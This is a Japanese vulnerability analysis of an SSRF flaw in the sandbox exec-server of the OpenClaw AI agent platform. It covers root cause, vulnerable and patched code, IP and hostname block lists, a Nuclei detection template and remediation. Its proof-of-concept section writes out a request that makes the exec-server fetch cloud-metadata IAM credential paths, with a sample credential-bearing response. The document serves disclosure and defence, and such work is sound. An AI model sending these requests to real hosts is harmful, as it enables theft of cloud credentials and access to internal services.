
CVE-2026-62201の詳細分析: OpenClawサンドボックスexec-serverネットワークポリシーバイパス(SSRF)。根本原因、脆弱なコードとパッチ適用済みコードの比較、悪用方法、検出、是正策。
| フィールド | 値 |
|---|
| アドバイザリ | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| 製品 | OpenClaw(npm パッケージ openclaw)— サンドボックス exec-server コンポーネント |
| 影響を受けるバージョン | openclaw < 2026.6.6 |
| 修正済みバージョン | 2026.6.6 以降 |
| 根本原因 | exec-server に組み込まれた HTTP ヘルパー(SANDBOX_HTTP_REQUEST_SCRIPT)における SSRF 検証の欠如 |
| 修正コミット | 21410d1c — "fix(codex): guard sandbox http requests" |
| 攻撃ベクトル | 攻撃者が制御する URL を指定した exec-server の http/request ハンドラへの HTTP POST |
| 影響 | 低権限の呼び出し元が、OpenClaw のネットワークポリシーがブロックすべき内部ネットワーク宛先(クラウドメタデータ、プライベート IP、localhost サービス)に到達可能 |
OpenClaw は AI エージェントプラットフォームであり、そのサンドボックス exec-server は、エージェントが外部への Web 呼び出しを行うために使用する HTTP リクエストヘルパーを公開しています。2026.6.6 より前のバージョンでは、このヘルパーに SSRF 保護が一切なく 出荷されていました。信頼性の低い呼び出し元 — ゲートウェイオペレーターよりも信頼性が低いとプラットフォームが判断するエージェント、ツール、入力パスのいずれか — が任意の URL を送信し、exec-server にホストネットワーク内部からその URL を取得させることができました。
直接的な サンドボックス外部通信に適用されるネットワークポリシーチェックは、リクエストが exec-server HTTP インターフェースを経由した場合には 適用されませんでした。この不整合が脆弱性です。exec-server が内部ネットワークへの無制限の HTTP プロキシとして機能していました。
OpenClaw がサンドボックス内で Codex エージェントを実行する際、WebSocket/HTTP トランスポート上で JSON-RPC メソッドをホストするローカルの exec-server(extensions/codex/src/app-server/sandbox-exec-server.ts)を起動します。そのメソッドの 1 つである http/request は、エージェントが URL を取得できるようにします。実装は、リクエストを小さな組み込み Python スクリプト — SANDBOX_HTTP_REQUEST_SCRIPT — にパイプし、実際の urllib 処理を行います。
リクエストハンドラは extensions/codex/src/app-server/sandbox-exec-server/http.ts にあります。
Python ヘルパーは URL を受け取り、スキームのみ をチェックしていました:
# [email protected] より — SANDBOX_HTTP_REQUEST_SCRIPT(要約)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
これが唯一のゲートでした。以下は存在しませんでした:
localhost、*.internal、metadata.google.internal など)http://169.254.169.254/ へのリダイレクトが盲目的に追跡される結果: {"method":"GET","url":"http://<内部ホスト>/"} は内部レスポンスボディを呼び出し元に返しました。exec-server はホストネットワークへのオープンプロキシでした。
コミット 21410d1c は 両方の レイヤーに多層防御を追加しました:
レイヤー 1 — TypeScript 事前チェック(http.ts の assertSandboxHttpRequestTargetAllowed):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
レイヤー 2 — Python ヘルパーの強化(組み込みスクリプトの assert_url_allowed):
localhost、localhost.localdomain、metadata.google.internal、および *.localhost、*.local、*.internal サフィックス169.254.169.254、100.100.100.200、fd00:ec2::254100.64.0.0/10、ベンチマーク 198.18.0.0/15、ドキュメンテーション 2001:db8::/32 などipaddress 分類: ループバック、プライベート、リンクローカル、マルチキャスト、予約済み、未指定GuardedRedirectHandler: すべてのリダイレクトホップは、追跡される前に assert_url_allowed を再実行します::ffff:a.b.c.d)、6to4(2002::/16)、Teredo、ISATAP 形式がアンラップされ、埋め込まれた IPv4 がチェックされますdef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 より前の、サンドボックス exec-server が有効な実行中の OpenClaw インスタンスhttp/request を呼び出せること(プラットフォームはこれを 低権限 アクセスとして扱います — 例: プラグイン、ツール、入力パス。ゲートウェイオペレーターではありません)ステップ 1 — 内部サービスをターゲットにしたリクエストを送信:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
ステップ 2 — 脆弱なレスポンス(HTTP 200):
exec-server は内部 URL を取得し、ボディを呼び出し元に返しました — bodyBase64 として base64 ラップされています:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
デコード後:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
ステップ 3 — 修正後のレスポンス(HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
修正済みバージョンでは、内部宛先は exec-server 経由で到達できません。
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM 認証情報http://127.0.0.1:<ポート>/ で同一ホスト上の認証なし管理インターフェースにアクセスCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 高
アドバイザリの枠組みは重要です: OpenClaw の信頼されたオペレーターモデルは、ゲートウェイオペレーターが信頼されていることを前提としています。バグは、信頼性の低い サーフェス(プラグイン、ツール、入力パス)が、ポリシーがブロックすべき宛先に到達できることです。
検出テンプレートが利用可能です — OAST ベースで、内部トポロジーの事前知識は不要です:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
url フィールドを含む /exec/http(または同等の WebSocket JSON-RPC)への POST リクエスト169.254.169.254、100.100.100.200)へのリクエストnpm install [email protected](またはそれ以降)。修正により、TS 境界と Python ヘルパー内の両方で完全な SSRF 検証が追加されます。2026.6.6この調査は、公開された脆弱性データと、隔離されたラボにデプロイされたソフトウェアに対して実施されました。本番システム、第三者ネットワーク、ゼロデイ調査は関与していません。ここで使用されるすべての PoC は無害な読み取り専用リクエストです。